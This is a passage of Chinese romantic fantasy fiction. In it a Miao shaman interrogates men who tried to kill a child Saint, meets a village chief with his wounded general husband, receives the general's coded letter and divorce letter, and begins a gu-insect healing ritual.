他察觉到有人靠近,考虑要不要阻拦,但来的人不是别人而是款首,她一定有重要的事情和他商量,才会前来打扰。 果不其然,在看到他们押着人上山时,苗霜就都明白了。 被押来的人正是四月八当日他在山巅见过的其中一个,那人似乎极为不服,被五花大绑还在不停挣扎。 苗霜迎了出去,田款首也开门见山:“我们已经把所有参与谋害圣子的人都关押起来,审讯过一遍了,此人是谋划者……说谋划者却也不太准确,应该说是发起者。” 这个词让苗霜感到意外:“何意?” “参与这件事的一共十六人,各个寨子皆有涉及,据他们交代,他们并非蓄意谋划,而是临时起意。” “哈?”苗霜冷冷看向那个被绑缚的苗民,“款首的意思是,他们是在祭神日当天才彼此认识,又不约而同地想要谋害圣子吗?” “准确来说,是在祭神仪式结束之后,凑在一起喝酒聊天,而后一拍即合——他们是这样交代的,他们被我们控制住后就一直分开关押,应该不存在串供的可能,也没这个必要,当然,如果大巫不信,也可再验证一番。” 苗霜死死盯着那个罪魁祸首的苗民,一想到这个家伙差点害死圣子和祁雁,他就恨不得一刀把他宰了,又觉得一刀宰了太过便宜他,他定要让他死得痛苦万分,让他后悔自己降生在这世上。 对方竟也不畏死地跟他对视,甚至出言挑衅:“怎么样,大巫?听说大巫有百般手段,能让人跪地服软,不如就让我见识见识?” “凭你也配?”苗霜怒极反笑,“为何谋害圣子?” “谋害?大巫说笑了,我们是在替神灵铲除不合格的圣子,我们做这一切,都是为了苗寨!” “不合格?你算什么东西,圣子合不合格,轮得到你来置喙?” “圣子失职,有目共睹!身为苗疆圣子,竟私自外出,去医治一群汉人!我们苗疆的神灵,什么时候庇佑过异族!” “大胆!”田款首呵斥道,“圣子外出,已得到我的许可,你要是再信口开河,即刻将你和你的同伙处以极刑!” 屋外的吵嚷声吵醒了祁雁,他撑身坐起,脑子还有些昏沉。 发生什么事了? “那就来啊!为苗寨而死,死又何惧!”那苗民狂妄至极,“你也是不合格的款首,竟放任圣子渎神!” 他说着转向苗霜:“尤其是你,大巫,圣子外出都是你的主意吧?你身为苗疆大巫,不但和汉人成亲,把屠害我们亲族的血仇带到家里来,甚至为此害死了两位长老,那汉人好不容易死了,你又派圣子去给汉人治病!大巫,你究竟还是不是个苗人,你的心早就飞到汉人身上去了吧!” 祁雁凝神细听,却听不清他们在说什么,坠崖之后,他的听力也不如以前了,加上说的是苗语……他只能听出争吵十分激烈。 “我只当你是条忘恩负义养不熟的毒蛇!从一开始,前任款首就不该启用那该死的禁蛊,培养出你这么个冷情冷血的东西!你一人背弃亲族倒也罢了,可你千不该万不该教坏圣子!祭神日之事就是你的报应!我只是喝酒时起了个头就一呼百应,得到那么多人支持,你不想想,族里已有多少对圣子不满的声音!这一切都是因为你!” “你精通巫蛊之术,我们奈何不了你,难道还收拾不了一个六岁小孩?!” 向久手中的虫罐盖子砰然坠地。 眼泪一颗一颗地砸了下来,他难以置信地回过头,整个人如遭雷击,浑身颤抖着朝那人走去:“你说……你恨我,是因为我救了那些汉人?可他们……他们也都是可怜人,他们和我们一样,也受尽欺压,衣不蔽体,食不果腹,身患重病却没钱买药,为什么……” “你当他们是可怜人,谁又来可怜我们!圣子,你早就被大巫洗脑了!汉人处处与我们作对,恨不得将我们赶尽杀绝,你却救了我们的敌人!对敌人仁慈,就是对自己残忍!” 向久脸色惨白,慌乱地摇着头:“不……不是这样的,不是这样的!” “圣子到现在竟还不悔改,你已经无可救药了,不合格的圣子,就该被铲除!” “闭嘴!闭嘴!不准再说了!我不要听!”向久痛苦地捂住自己的耳朵,尖叫着跑开了。 “圣子!”苗霜想要叫住他,向久却没有停下。 苗霜的脸色肉眼可见的阴沉下来。 他看着面前的人,杀心从没有一刻比现在更盛。 他千防万防,想到会有人从中作梗,却没防住临时起意。 没想到真正的原因,是他命圣子前往剑南治疫。 祁雁想卖剑南道节度使一个人情,又恰好有个机会摆在眼前,他便顺水推舟帮了他一把,却不想这成了引爆众怒的导火索,寨民将矛头指向了圣子,祁雁又舍命救下了圣子,还真是因果循环报应不爽。 仅仅是这么一件微不足道的小事,就能让他身负重伤命悬一线,这谋逆之道还真是比登天还难。 但那又如何? 敢拦在他面前的,有一个算一个,都得死。 “还真是会给自己开脱啊,”他阴森地笑了起来,“动不了我就动圣子,自诩一切为了神灵,所以,是神灵教会你们恃强凌弱?你不妨告诉我是哪位神?我把他请出来聊聊,如此德不配位,还敢受我族供奉,不如早日从神位上滚下来如何?” 那苗民面色猛地一变:“你竟敢!你竟敢如此亵渎神灵!” “我亵渎神灵?”苗霜向前一步,唇边笑意更深,“圣子是神灵所选,是神灵观察世间的眼,聆听世间的耳,降下神谕的口,如今你要刺瞎神灵的眼,割掉神灵的耳,堵上神灵的口,还好意思说自己是为了神灵?我问你,神灵同意了吗?” “你……我……” “神若对圣子不满,自会传达神谕更换圣子,我和族中长老尚未收到神的旨意,你是什么东西,能左右神灵的喜恶,能替神灵做出裁决?” 对方后退一步,面色逐渐苍白:“我……不是……” “只会为一己私欲断送全族前途的蠢货,还敢在这里大放厥词,我让圣子去救汉人,自有我的道理,鼠目寸光如你,当然看不透我的意图。” 他似笑非笑地看着对方,转头对田款首道:“把他关起来,严加看守,这十六个人我要亲自处理,我让他哪天死,他就得哪天死,可不准少活一刻,也不能多活一分。” 田款首示意手下把人押走,苗霜转身就要去找圣子,走了两步,却发现身后的人没有离开的意图。 他诧异回头:“款首还有何事?” 和田款首一并留下来的还有另一个年轻苗民,这人有点眼熟,应该见过。 他犹豫了一下,从怀里掏出一样东西:“大巫,那天我们在崖下……发现了这个。” 苗霜的视线落在他手中。 看到那东西的一瞬间,盘在他手臂上的白蛇像是感受到他的情绪,焦躁不安起来。 ……祁雁的面具。 已经摔碎成了几瓣,上面华丽的蝴蝶鳞粉失去了光泽。 所有用来杀人的蛊已经捏在手中,苗霜慢慢抬眼,冷冷道:“何意?” 那年轻苗民见他神色不对,慌忙解释:“大巫别误会!这面具是我在那晚搜寻圣子时捡到的,除了款首,没和任何人说,也没有任何人看见!” “所以呢?” “所以,”田款首斟酌着道,“我们想见见这面具的主人,你的那位……朋友,可以吗?” “不能,”苗霜的回答没有一丝犹豫,“你们所有人,我一个都不相信。” 这世上除了祁雁,没有任何人任何事任何物能得到他的信任。 第83章 第 83 章 夫人这么会哄人,却不愿…… 苗霜说罢, 转身就要离开。 “大巫,”田款首开口叫住他,“我知道大巫很难相信我们, 可这件事关乎到全族的未来,还请大巫给我们一次机会。” “全族的未来?”苗霜冷漠地看了她一眼, “款首跟我谈这些,不觉得找错人了吗?还是你忘了我是如何当上的大巫?你凭什么觉得被族人伤得体无完肤的我, 会在意那些族人的死活?” “我当然没忘!”田款首陡然抬高音量,面上流露出一丝痛苦,“毕竟我的女儿也死于那场大巫选拔,没有人比我们更能理解你的恨意。” 她身边的年轻苗民也轻声道:“还有我的弟弟……” “可并不是所有人都参与了加害,还有许许多多无辜的人,甚至是受害者,我知道大巫心如明镜,不会因为一些人的过错迁怒所有人,你帮助你的那位朋友, 也是为了日后族人的日子能好过一些,对吗?”田款首道。 苗霜沉默下来。 “我准许圣子出山, 因为我知道,那些患病的汉人百姓是无辜的,纵然官府由汉人把持,对我们的欺压从没有一天停止过,可你我都明白,百姓不该为为官者的罪行买单, 我们没办法因为一些人而恨所有人。” 她说着上前一步:“我准许圣子出山,这一次的事也会无条件帮你解决,希望大巫能看在我做这些的份上, 给我一个机会。” 苗霜闭了闭眼,深呼吸。 款首已经如此放低身段了,他若是再得理不饶人,却也说不过去。 “但他现在已经快死了,”他道,“你若是想感谢他救了圣子,我可以让你们见他,但你要是期待能从他身上得到什么,我劝你还是别抱太大希望。” “我明白。” “跟我来吧。” 他带着两人进了屋,祁雁正坐在桌边摆弄茶具,闻声抬头,眼中露出一丝惊讶。 没想到苗霜会允许其他人进来,刚刚他实在听不清外面的争吵,就放弃了,喧闹渐小,他还以为事情已经结束。 看穿着打扮,这一男一女都是苗人,他试探着用苗语询问道:“两位是……?” “她听得懂汉话,”苗霜转身坐在了一边,“款首对他应该不陌生,我就不介绍了。” 田款首微微颔首,她虽然年过四旬,鬓边已有华发,面容却依然秀美,身上佩戴的银饰随着动作轻轻摇晃,显得华丽又端庄:“田语,见过祁将军。” 祁雁放下手里的茶盏,一见面他就觉得这人非同寻常,果然是那位田款首。 他冲对方比了个“请”的手势:“久闻款首大名,今日所见,果然蕙心兰质,款首,请坐。” 他打开茶壶盖子,想添些茶叶沏点新茶,一旁的年轻苗民自告奋勇:“我、我来!” 他接过茶壶,用不太流利的汉话道:“我、我叫廖、廖齐。” 祁雁冲他点了点头:“麻烦了。” 廖齐拿着茶壶出去打热水,还有些难以置信,小声嘟囔道:“居然真是祁雁将军……” 田语向祁雁行了个苗礼:“多谢将军舍命相救,换圣子平安,这份恩情我们苗寨永记在心,感激不尽。” “款首客气了,”祁雁笑了笑,他脸色还是十分苍白,“那日苗霜将圣子交给我照看,我没能保护好他,本就是我的失职,救下他只能算将功补过,更何况我对苗寨颇有冒犯,实在没脸面承认什么恩情,还请款首不要折煞我了。” 田语摇了摇头:“前任款首违规启用禁蛊,害许多孩童无辜枉死,许多家庭支离破碎,我亦深受其害,纵然他的初心是为了我族不受汉人欺压,可手段太过歹毒残忍,我无法认可,更无法支持,苗寨内部也有许许多多的抗议之声,皆被他和他的拥护者强行镇压,将军杀了他,也算是为苗寨除害,他若不死,我也当不上这款首。” “我知将军当初是奉命行事,身不由己,也有手下留情,没有滥杀无辜,我实在无法苛责将军太多,将军并非我苗寨的敌人,想必将军也这么认为。” 祁雁沉吟片刻。 看来这位款首的意图很明显,是想拉拢他,和他统一战线,所以苗霜才会带人来见他。 这些苗民当中也不乏知事明理的人,他乐意和聪明人交涉,她刚刚说“深受其害”,大概也有家人因禁蛊而死。 既然苗霜已经认可,那他也没什么好怀疑的,不过这件事非同小可,谨慎起见,还是再问清楚些。 “可否冒昧一问,款首也有亲人因那禁蛊……?” “是我的女儿,”田语垂下眼帘,复又抬起,她转头看向苗霜,“她若还活着,也是像大巫这般年纪。女儿死后,我的丈夫悲痛欲绝,他无法接受失去爱女的事实,去找那位款首质问,却一去不返,数日之后,有族人在河里打捞起了他的尸体,款首说他是悲伤过度不慎坠河溺亡,我却不信。” 她放在桌上的手慢慢收紧了,几乎是咬着牙道:“我与前任款首不共戴天,可我势单力薄,如何与他对抗?好在……胜利终究是站在了我们这一边,虽然来得太迟太迟了。” 祁雁抿了抿唇:“抱歉。” 廖齐回到房间,为他们斟上沏好的茶,田语拿起茶盏,摇了摇头:“都是一些往事,我已经不会为此而难过了。” 她虽这般说,被袅袅热气掩映的双眼却微微泛红。 “还、还有我弟弟,也因为禁蛊死了!”廖齐愤然道。 苗霜终于回想起来:“原来是你啊,上次把长老押来我这里的,也是你吧?” 廖齐有些不好意思地挠挠头:“大巫还记得我……” 他把一直拿着的面具碎片放在桌上:“四月八那天晚上,我和几个族人一起下山搜救,因为下山的时候慌忙,不小心把随身之物弄掉了,他们走后,我就留下来找我的东西,却意外寻到了这面具,我认出上面的蓝色应该是幻蝶的鳞粉,而族中能饲养幻蝶的只有大巫,我没敢跟任何人说,只把这件事告诉了款首。” 祁雁看着那几瓣破碎的面具,他自己都不知道面具是什么时候掉的。 看来他的运气也没有差到极点,至少捡到面具的是自己人。 “多谢你了,”他道,“谢谢你替我保密。” 廖齐一摆手:“我也没做什么。” “好了,人你们也见完了,可以走了吧?他现在需要静养,过两天我要给他治伤,还有什么别的话,不妨等他活下来再说。”苗霜下了逐客令。 田语点点头,站起身来:“那我们便不打扰了,将军好好休息,如果有任何需要,随时找我,让廖齐给我传话就行。” “等等,”苗霜却又叫住他们,“两位要是不介意,回答我几个问题再走。” 田语看到他拿出的真言蛊,立刻就明白了他的意思,没说什么,只伸手接过:“好。” 两枚真言蛊分别立在她和廖齐的掌心,苗霜道:“祁雁还活着的消息,你们不准跟任何人说,能做到吗?” “没问题。” “我的嘴比谁都严!” 虫蛹纹丝不动。 “你们是真心想帮我们吗?是真心寻求合作,而不是利用完了就卸磨杀驴?” 田语郑重道:“我身为苗寨款首,一心只想让族人过得更好,除此以外,别无所求。” 廖齐:“我……我不太懂这些,就是觉得大巫心肠不坏,那祁将军,应该也不是坏人。” 虫蛹依然纹丝不动。 苗霜的神色稍有缓和,他收回蛊虫:“好了,你们走吧。” 待两人离开,他找到了躲在茅草堆里偷偷哭的圣子。 向久已经哭花了一张小脸,整个人委屈得像是要碎了,一见到他,就哭着扑进他怀里:“阿那!” “圣子怎么又哭鼻子,再过几个月圣子就七岁了,就不能有点长进?” 向久连忙吸了吸鼻子,努力想忍住眼泪,却根本忍不住,只好克制地小声啜泣。 苗霜叹口气,连哄带骗地把人带回了屋:“行了,你还没完没了了,不就是被人骂了两句吗,一个混账的话你也往心里去?” “阿那……”向久抹了把脸上的泪,仰起头看他,“我是不是真的做错了?我救了那些汉人,是不是真的对神灵不敬?我真的是……不合格的圣子吗?” “说什么傻话呢?”苗霜心情复杂,慢慢在对方面前蹲下身来,“神灵怎么想可不是他们说了算,你身为圣子,自能和神灵沟通,事情也过去这么久了,神灵可有怪罪你?” 向久慢慢止住了哭泣:“应该……没有。” “那他们可有不回应你,不搭理你的祈求?” 向久摇摇头:“也没有,祭神日我还祈了火种呢,过程很顺利。” “那不就得了,神灵没有任何表示,就说明他们根本没有生气,神灵向善,你做的事又是在行善积德,神灵为你高兴还来不及,怎会怪罪你?” “真、真的吗?”向久眼中又有了一些神采,“可如果是这样,他们为什么要那么生气,还推我下山……明明我以前也为他们向神灵祈福过……” “因为他们作的是恶,死后要变成鬼的,”苗霜道,“作恶的人总要给自己找许多理由,将自己伪装得无辜且正义,企图以这样的方式逃过惩处,可事实往往相反,他们嚷得越大声,反而越说明他们心虚。” 他轻轻揉了揉向久的脑袋:“不是所有的同族都值得信任,也不是所有的异族都心存歹念,圣子,你要去试着学会分辨。” 在一旁听着的祁雁忽然抬眼向他看来。 不是所有的同族都值得信任,不是所有的异族都心存歹念…… 他若有所感,怔然出神。 向久懵懂地看着苗霜:“是这样吗……” “我只问你,扪心自问,你救那些人可有后悔?” 向久摇了摇头:“不后悔,看着他们从奄奄一息恢复过来,我很高兴,他们叫我小医仙,我也很高兴。” “那就足够了,这世上没有什么事能得两全,不求尽如人愿,只求无愧本心。” 向久似懂非懂地点了点头。 “好了,哭也哭够了,该干什么干什么去,我让你帮我挑没长好的蛊虫,过两天我就要用了,你到底挑完了没有?” “啊!”向久这才想起自己刚刚打碎了虫罐盖子,“它们不会跑出来了吧……我去看看!” 圣子忙不迭跑掉了,苗霜松口气,心说总算是哄完了这烦人的小鬼。 一口气还没松完,就听见旁边祁雁幽幽道:“夫人明明这么会哄人,那日却不愿哄我一字半句。” 苗霜:“?” 第84章 第 84 章 你要跟我和离? 他莫名其妙地看向祁雁:“有病就去治。” “这不正等着夫人治呢么, ”祁雁道,“刚刚你说,准备得差不多了?” “就这两天吧, 等我检查完这批蛊虫,确认没问题就可以开始了。” “那……”祁雁想了想道, “夫人不如先帮我解了生死蛊?我若死了,总不能连累夫人一起。” 苗霜眯了眯眼。 他不是很愿意接受祁雁会死的可能性, 可他也的确不能不解这蛊,万一祁雁到了弥留之际,他努努力或许还能把人抢救回来,可要是绑了生死蛊,来自蛊虫的干扰很可能让他错失良机。 于是他只能应下来:“手给我。” 祁雁向他伸出左手——他手上的伤已经愈合得差不多了,但今天新换上的药,绷带还没拆,正犹豫要不要现在拆了,就听苗霜道:“另一只。” 祁雁十分疑惑, 转而抬起右手,居然看到掌心有一条熟悉的红线。 他奇怪道:“……我明明记得之前这蛊下在了左手。” “我的蛊虫自然知道趋利避害, 会保护自己,不像你那么蠢。” 祁雁:“……” 苗霜将自己的手覆在祁雁掌上,两只蛊虫相碰,祁雁只感觉手心一疼,紧接着,一股难以言喻的冷意和虚弱感漫上四肢百骸。 胸口又没由来地疼了起来, 让他爆发出一阵剧烈的咳嗽,他急忙捂住嘴,闷咳让他的肩膀不住耸动, 好不容易停下来时,掌心已全是血。 苗霜在旁边看着他,神色复杂。 这人竟已虚弱至此,仅仅是解个蛊都能吐血。 这样的身体状况,真的能承受得住经脉重塑吗? 可再拖下去却也不会变好了,还是快刀斩乱麻吧,是死是活都试了再说。 解蛊让祁雁变得十分疲倦,一整天都没什么精神,休息了一宿情况才有些好转。 苗霜那边已经准备好了所有的蛊虫和药材,随时可以开始了。 祁雁坐在案前,墨笔落上信笺,那字迹已不像从前那样苍劲有力,伴随着他时不时的咳嗽,墨迹甚至有些断断续续。 他叫来赵戎他们,把写好的信递出:“如果我死了,就拜托你们把这封信送出去,地址我已经写在字条上了,信的内容你们可以看,不过,要确保把它送到收信人本人手里。” 赵戎神色一震:“将军!您不会死的!” 祁雁摇了摇头:“我当然也希望我不会死,但没人能够保证,等你们送完了信,就自行决定去留吧,是去剑南找孟叔,又或是做些别的,我不会再管你们了。” “将军!” 祁雁摆了摆手,把头别向一边。 赵戎还想再说什么,却被姜茂强行拉出了屋子,后者低声道:“大巫说了,将军现在不能情绪激动,我们还是别打扰他了,无论他说什么,我们都先应下来。” “……好吧。” 两人走到无人处,赵戎又说:“这信里到底写了什么,我们要不要打开看看?” 虽说看别人的信不好,可既然祁雁说他们可以看了,信封也没封口,姜茂也有些克制不住好奇:“好,那就打开看看。” 赵戎先打开了那张字条:“这地址是……范阳?给一个叫陆暄的人。” 又打开那封信,念道:“子昭兄,见字如晤……” 赵戎从头到尾把信看完,一脸茫然:“这都写了些啥?全是些嘘寒问暖,一句有用的话也没有啊,将军这是在干什么?” 姜茂皱了皱眉,低声喃喃:“陆暄,陆子昭……这名字好生熟悉。” “你认识他?” “不认识,但……范阳,陆氏……之前老孟跟我提过,范阳节度使麾下有一幕僚,智多近妖,恃才傲物,性情极为古怪,虽是名门之后,又为军队出谋划策,却始终不肯要官职,多年来依然是白衣之身,不住节度使赏给他的府邸,自己在山中隐居,若想请他出山,还需三顾茅庐。” “好家伙,”赵戎震惊了,“就算是范阳陆氏,五姓之一,也不至于傲成这样吧,连节度使都要看他脸色?五姓现在都要没落了。” 姜茂点点头:“但也有传言称,他其实和节度使私交甚密,节度使三顾茅庐也是心甘情愿,总之,他们之间不像我们想的那么简单。” “那将军这信……” “陆暄,应该就是此人,如果传闻属实,将军若能请得动这位陆暄,就一定能说服范阳节度使。” “说服他干什么?” “出兵。” “出兵?!”赵戎忍不住大声,又急忙压住嗓子,“这信里明明什么都没写啊?只是寒暄几句,就能让范阳出兵?” 姜茂拿过那封信,仔细看了看:“这信上的文字,应该是加密过的,我们看上去只是寻常寒暄,可若用特殊的方式重新排列组合,就能解读出另外的意思,只不过,究竟要怎样解,恐怕只有将军和陆暄本人知道了。” “居然是这样……”赵戎听得心脏怦怦跳了起来,“将军若有这样的底牌,怎么不早点拿出来?范阳兵力最多,若能说动范阳出兵,何愁打不下晏安城?” 姜茂急忙冲他比了个噤声的手势:“你能不能小点声?就算范阳兵多,你别忘了,季渊的禁军可是有十五万人,更何况范阳还要提防库莫奚和乞塔,要是倾巢出动,边防怎么办?” “该死的!”赵戎恨恨一捶大腿,“那将军说自己死了再给范阳传信,岂不是……” “大概是把选择权交给范阳吧,”姜茂神色有些晦暗,“只是不知将军怎么会和陆暄认识……老孟也知道陆暄,莫非是祁老将军和范阳那边有故交?” 他们在这里说着,不远处,明秋躲在门后听着。 范阳吗…… 看来王爷的猜测果然没错,这祁雁藏得也真够深,如果不是性命垂危,都不肯暴|露自己和范阳陆暄有私交。 但愿他能够活下来,别让王爷等错了人。 这时,赵戎不知察觉到什么,猛地回头:“谁在那?!” “是我,”明秋从门后走出,“我在帮大巫整理药材,他说明天就要开始给将军治伤了。” 赵戎赶紧收起那封信:“这么快?” 难怪将军要在今天把信交给他们,这感觉怎么那么像在……交代后事。 他实在心焦,却又不敢再去打扰将军,他不敢想象,如果将军真的不在了,他们又该何去何从? 雁归军已经回不去了,是留在范阳,还是去剑南,又或者干脆孤注一掷,进宫行刺算了。 可凭他这身手和脑子,恐怕连宫门都进不去吧。 将军一定要平安无事啊…… * 祁雁继续伏在案头写着什么。 或许是因为解了生死蛊,他的精力更差了,只是写了封信就感觉体力耗尽,咳嗽越来越厉害。 短短一页纸的内容,他写了许久才写完,有几处都因为忍不住咳嗽而断了笔触,墨滴不小心晕在纸上,洇出一大片污渍。 实在是丑,却也没力气再写一张新的了。 苗霜从屋外进来,见他还没放下笔,诧异道:“你怎么还没写完?身体撑不住就去休息,晚点再写。” 祁雁终于落下最后一个字,忙将毛笔搁在笔架上,又捂着嘴咳了半天,拿起那张墨迹还没干透的信纸,转身递给苗霜:“夫人。” “什么?”苗霜不解,“给我的?” “是,请夫人过目。” 苗霜下意识以为那是遗书,刚想骂他两句,就看到那信纸上的字迹: “和离书”。 苗霜脸色倏地变了,一把将信纸抢过,草草浏览一遍后,一股无名怒火腾地自心头升起,他几乎是咬着牙道:“你要跟我和离?” 祁雁垂下眼帘,掩住眸中情绪:“夫人既然不愿意和我来生再续,那我只能放夫人自由。” 苗霜感觉自己要被气昏头了:“我那么说,是为了让你活着!” “我明白,可夫人也没把握我一定能活下来,所以,如果——我是说如果我死了,夫人就在和离书上写下自己的名字,这样,你就自由了。” 苗霜死死地瞪着他,恨不得用眼神在他脸上烧出一个洞来,他设想过无数次祁雁如何背叛他,算计、利用、杀害……又或是偷偷离开苗寨,一走了之,却万万没想到,摆在他面前的,竟是一纸和离书。 祁雁又咳嗽了两声,唇色愈发苍白:“我总不能,死了还要夫人为我守寡,也不能把我身上的担子扔给夫人,我没理由让你无条件地帮我,我已经安排好了,无论后续如何,都不需要夫人操心。” “那你答应我的事呢?”苗霜的手指用力攥紧,将那张纸捏出褶皱,“你答应给苗寨的未来,就这样算了?你就打算这样食言?” “抱歉,”祁雁神色黯淡,“如果再给我一些时间,我一定兑现我的承诺,可……我不知道我死了以后,事情究竟还能不能成,但有一点我可以保证,无论成败,现状都不会维持太久了,那一天迟早会来,只是可能……要多等几年。” “……你总是这样,”苗霜一颗心彻底冷了下去,“答应我的事,永远都做不到,我已经原谅了你一次,不会再有第二次。” 祁雁愣了一下:“什么?” “这东西,我不收,”苗霜把手里的和离书撕成了碎片,狠狠扔到他脸上,血色的眼眸直视他,不知是难过还是愤怒,眼眶也泛了红,“去他娘的自由,别用这种恶心的词侮辱我,你不是说我靠几只虫子在京都翻不起风浪吗?可我偏要试试,看看我这一身血能催生多少蛊虫,能不能淹没大雍的晏安城!” 祁雁瞳孔收缩:“苗霜!” “怎么,害怕了?帝都的百姓也是百姓?纵然他们辱你、骂你,说你是乱臣贼子,你也要保护他们?” 苗霜低低笑了起来:“那你就试试看,你的苍生,可不是我的苍生,你若活着,他们就安全,你若死了,那就让他们去阴曹地府继续陪你,免得你在那里没有苍生可护。” “祁雁,你若是有本事,就死一个给我看看。” 第85章 第 85 章 就满足我这一次,好吗?…… 祁雁眉头紧锁, 他张了张嘴,又闭上。 不……不能生气,他还是不要和苗霜争论了, 他也实在是没那个力气。 许久,他才道:“知道了。” 他的服软倒是让苗霜有些意外, 看着他苍白的脸色和不住的咳嗽,终究是于心不忍, 顿了一会儿,又道:“事情都交代完了的话,就早点休息,别耽误了明天的治疗。” “……好。” 写了两封信,祁雁的确已经精力耗尽了,早早便躺下休息,到了第二天,一切准备妥当,苗霜把一碗药递到祁雁面前:“喝了吧。” 祁雁一下子就闻出了那药的味道:“这是……” “喝了这药你就睡一觉, 要是你能醒过来,就说明成功了, 要是醒不过来……” 苗霜虽然没有把话说完,祁雁却也明白了,他轻叹口气:“好吧,不过在那之前,我还有件事想做。” 苗霜有些不耐烦地啧了一声:“你怎么总是有事要做,就不能等治完了再做?” 祁雁没有回答, 只是站起身来,靠近他,轻轻亲吻他的唇瓣。 苗霜:“……” 这个吻的含义或许和以往任何一次都不同, 许是留恋,许是不舍,许是小心翼翼的缠绵与索求,在他的唇齿间辗转,勾连不绝。 苗霜只感觉那不像是个吻,更像是告别,以至于这一向不会让他排斥的亲吻都令人厌恶起来,他用力偏过头,有些烦躁地说:“别亲了,等你好了有的是时间亲。” “夫人,”祁雁用手臂环住他的腰,“就满足我这一次,好吗?” 他箍得并不紧,虚弱的身体根本没什么力气,只要苗霜想,一定可以挣脱,可他到最后也没忍心,只得由着对方将亲吻落在唇边,落在脸颊,落在可以触及的每一处。 祁雁的呼吸变得有些急促,极度衰弱的身体仅仅是做这些也变得相当困难,他终于停下来时,苗霜再次把药递给他:“行了,再不喝都凉了,快喝。” 这回祁雁没再推脱,接过药碗来一饮而尽。 苗霜屡屡催他喝药,可等他真的喝了,又有些后悔,他闭上眼定了定神,道:“给你准备好洗澡水了,去泡着。” 祁雁以为又像上次治腿时那一桶红水,等到了浴桶边上,却发现只是普通的药浴而已。 药材让浴桶里的水染上一点淡褐色,他看了看苗霜,苗霜没有解释的意思,他便也什么都没问,脱了衣服跨入桶中。 热水浸没身体,紧绷的精神也渐渐放松下来,喝下去的药开始慢慢起效,视野在弥漫的热气中变得不再清晰。 他最后的注视落在苗霜身上,待到那白发赤眸的身影渐渐模糊,意识彻底陷入一片黑暗。 不知……还能否再见…… 苗霜看着他睡着,深吸一口气。 待到药力彻底生效,他伸手摸了摸浴桶里的水,感觉温度正好。 于是他开口道:“圣子!” “来了,来了阿那,”向久抱着两个虫罐,左手一个右手一个,“全部倒进去吗?” “倒。” 大量的红色蛊虫倾倒进水中,很快在水面漂起一层红色的浮萍,向久倒空了虫罐,又转头离开:“我再去拿!” 蛊虫慢慢沉入水中,向祁雁聚集,向久又拿来两罐蛊虫,也全部倒进水里。 倒完了蛊虫,向久看着这一桶红水都有些发怵,问道:“阿那,这么多虫子……他真的承受得住吗?” “不知道,受不住也得受着,谁让他自己作死呢。” “可他也是为了救我……” 苗霜瞪了他一眼,向久只好不再说话。 所有的蛊虫完全进入体内需要一段时间,苗霜走到浴桶前,伸手掬起热水,帮某人清洗身体。 祁雁已经陷入昏睡,刚刚那碗药是麻药,喝下去就人事不省,治疗的痛楚早已超过了人能承受的极限,醒着反而会出问题,他只能让他一直睡着,什么时候治疗结束,什么时候再让他醒来。 苗霜自己也不知道这个过程需要多久,他从来都对自己的医术很有把握,但这一次,他只能说尽力而为。 热水打湿祁雁的乌发,一片药材叶子停留在发间,苗霜伸手将它摘了下来,就像之前祁雁帮他的那样,轻轻给他梳洗头发。 等到蛊虫差不多全进入身体,他也帮祁雁洗好了,叫来赵戎帮忙把人从浴桶里捞出来,擦干头发穿好衣服。 “把他弄到楼上去吧。”苗霜道。 他要用蛊虫和药物摧毁祁雁身体所有的防御,虽然本身也没剩下多少了,顶楼更干燥一些,也不会有什么人造访,适合给他做治疗。 赵戎背着祁雁上楼,把人放在了床上,想问什么,又犹豫着不敢问。 苗霜在屋子里燃起了香,让白蛇盘在祁雁手腕上,瞥了他一眼,道:“有话就说。” “我……我……”赵戎纠结了半天,终究还是什么都没说出来,“没、没什么要说。” 大抵是怕问了又得到不好的消息,索性不问了。 有的时候,悬而未决反而成了最好的消息。 “那就快走,”苗霜毫不留情地逐客,“从今天开始,你和姜茂没事就别再来找我,有事也别来找我,更不准进这间屋子,听到没有?” “明白,我这就走。” 赵戎快步离开,苗霜看了看床上的人,在床边坐了下来。 祁雁安静睡着,苗霜就这么静静地看了他一会儿,忍不住开口骂道:“混账东西。” 还敢给他写和离书。 还说要给他什么自由。 这两个字是何其奢侈,自他踏入仙门的那一天起,就和自由背道而驰了。 又或者,是从他降生的那一天起,人活于世,本身就没有自由。 没有人能选择自己的出生,大部分人也无法选择自己的死亡,他们不过都是被这世间之事裹挟着向前,自诩寻仙问道,又有几个能真正开悟,修得大道。 修真界已经几千年没有得道飞升者了,一部青冥心诀,解救了所有人,却也束缚了所有人。 每当以为自己挣脱了牢笼,却不曾想,只是进入一个更大的牢笼罢了。 修真者尚且如此,又何况凡人。 他把祁雁的手放进被子里,起身离开了房间。 他下了一趟山,去看那几个谋害圣子的罪魁祸首。 圣子被害这件事在族中引起了轩然大波,绝不同于区区几位长老的死,圣子是由神灵点选,是神灵的化身,谋害圣子,无异于亵渎神灵本身。 都不需要苗霜做什么,族人已经自发地开始了口诛笔伐,田款首要做的甚至不是提防他们逃跑,而是提防他们一不留神被人杀死。 因此,田语把他们关进了毒瘴遍布的深山,人吸入那些瘴气会头晕眼花四肢无力,他们跑不了,也没人能进来杀他们。 深山之中阴气森森,浓郁的毒瘴遮天蔽日,几乎看不见太阳,周遭时不时有诡异的动物叫声,让人分不清是虫还是鸟,远远听去,更像鬼号。 苗霜便这样走进了毒瘴,他身负世间最烈之毒,自然百毒不侵,数不清的毒蛇嘶嘶从他脚边爬过,用身体轻轻蹭他的脚腕,这些看上去让人肝胆俱裂的冷血动物,在他面前却像小猫小狗一样听话。 蛇群带领他来到关押犯人的地方,浓雾中出现了几个铁笼的影子,那是用来关大型野兽的铁笼,以前族人们用这笼子关过老虎,铁栏上有许许多多野兽的牙印,但笼子依然坚不可摧。 笼子里的人七倒八歪,一个也爬不起来,款首给他们喂了药,能抵抗一定瘴气的毒性,让瘴气不足以致死,却也不会让他们好过。 吸入太多毒瘴的他们嘴唇发紫,脸色发青,模糊的视野根本看不清前面的人,只能依稀辨认出是个人影,有人挣扎着朝笼子外伸出手:“救我……救我……” 苗霜看着那只艰难朝自己伸来,企图够向他鞋子的手,无动于衷。 犯人的举动却触怒了蛇群,它们齐齐发出可怖的嘶嘶声,爬上去缠那人的手。 冰冷凉滑的触感在手臂上游走,那人几乎是瞬间吓清醒了,一个猛子坐了起来,不停后退:“蛇……蛇!” 苗霜慢慢蹲在他面前。 那人终于看清了蛇群拥簇着的人,一副见鬼的表情:“怎么是你?!” “不是我,还能是谁?”苗霜笑吟吟道,“怎么,很失望?” 